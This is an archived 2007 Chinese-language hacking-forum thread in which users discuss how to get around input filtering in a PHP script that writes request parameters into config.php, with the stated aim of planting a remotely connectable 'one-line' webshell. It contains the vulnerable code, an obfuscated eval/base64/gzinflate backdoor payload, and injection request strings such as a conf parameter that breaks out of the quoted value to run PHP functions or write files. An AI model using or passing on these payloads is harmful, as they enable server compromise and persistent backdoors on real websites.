邪恶八进制信息安全团队技术讨论组's Archiver

ttfct 2007-5-19 14:11

[讨论]如何突破这段代码写入一句话[更新]

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

[color=#FF3300]这里先向楼下回帖的朋友道个歉,由于发帖时疏忽,没有仔细看代码,导致代码发错。[/color]

环境如下:
PHP中的magic_quotes_gpc为on

[color=#FF3300]原来发错的代码:[/color]
<?
$fp = @fopen("config.php", "w");
$myarrs = $_REQUEST["conf"];
  if (isset($fp)) {

   @fputs($fp, "<?php\n// Created ".date("Y-m-d H:i:s")."\n\n");
    $forbidden_values = array(&#39;{&#39;, &#39;}&#39;, &#39;$&#39;);
    foreach ($myarrs as $key => $value) {
      $value = str_replace($forbidden_values, &#39;&#39;, $value);
      @fputs($fp, "// ".$Site_conF[$key][1]."\n\$S_conf[\"".$key."\"] = \"".str_replace(&#39;"&#39;, &#39;\\"&#39;, $value)."\";\n\n");
    }
    @fclose($fp);
    print "<div align=\"center\"><strong>config_saved</strong></div>";
  } else {
    print "<div align=\"center\"><strong>FAIL</strong></div>";
  }
  @fclose($fp);
  ?>

[color=#FF3300]现在需要突破的代码是:[/color]]
< ?
$fp = @fopen("config.php", "w");
  $arrVar = $_REQUEST["conf"];
  if (isset($fp)) {
    @fputs($fp, "<?php \n# Created ".date("Y-m-d H:i:s")."\n\n");
    foreach ($arrVar as $key => $value) {
      @fputs($fp, "// ".$S_CONF[$key][1]."\n\$S_CONF[\"".$key."\"] = \"".htmlspecialchars($value)."\";\n\n");
      }
    @fputs($fp, "\n?>");
    @fclose($fp);
    print "<div align=\"center\"><strong>config_saved</strong></div>";
    }
  else {
    print "<div align=\"center\"><strong>entryins_fail</strong></div>";
    }
  @fclose($fp);
?>


实现目的:在config.php里写入一句话,能成功连接。

[color=#FF3300]对原来发错的代码,由于它在CONN里的对单引号作了stripcslashes处理,所以,我的突破思路是用压缩方法 传递如下参数:[/color]

\";?>
<?php
eval(gzinflate(gzuncompress(base64_decode(&#39;eJzz1vU+czGgk/8DP1+nnqant17n1S1sDABh6QgQ&#39;))))
?>

对于现在需要突破的这个代码,我仍无法解决,请大家讨论。

hackest 2007-5-19 14:51

不在我能力范围之内,爱莫能助 [s:267] [s:265]

ttfct 2007-5-19 15:09

会PHP的朋友都来看看,看有方法突破不

小贼 2007-5-19 15:25

[s:269] 好象也不在俺滴管辖范围内

剑心 2007-5-19 17:18

本来这种写法是非常好的!!!赞个,但是他逻辑上存在点小问题导致可以轻易写shell,在你这个条件下

[code]
fuck.php?conf[a]=abc";phpinfo();//
[/code]

如果方便希望能说下这个脚本的名字
谢谢

剑心 2007-5-19 17:21

可能没说到位,上面能证明可以用函数了,不过不允许用变量那么就简单了

fuck.php?conf[a]=abc";fputs(fopen(urldecode(")))//
自己发挥吧

剑心 2007-5-19 17:24

仔细想写会发现他这个等于没过滤 :) 呵呵
有意思的脚本

ttfct 2007-5-19 18:12

给楼上的道个歉,我把代码发错了。

aosemp 2007-12-1 03:29

<?php
# Created 2007-11-30 19:27:51

//
$S_CONF["a"] = "abc\"phpinfo();//";


?>
好像真的不行,“会被过滤成\&quot!

页: [1]
© 1999-2008 EvilOctal Security Team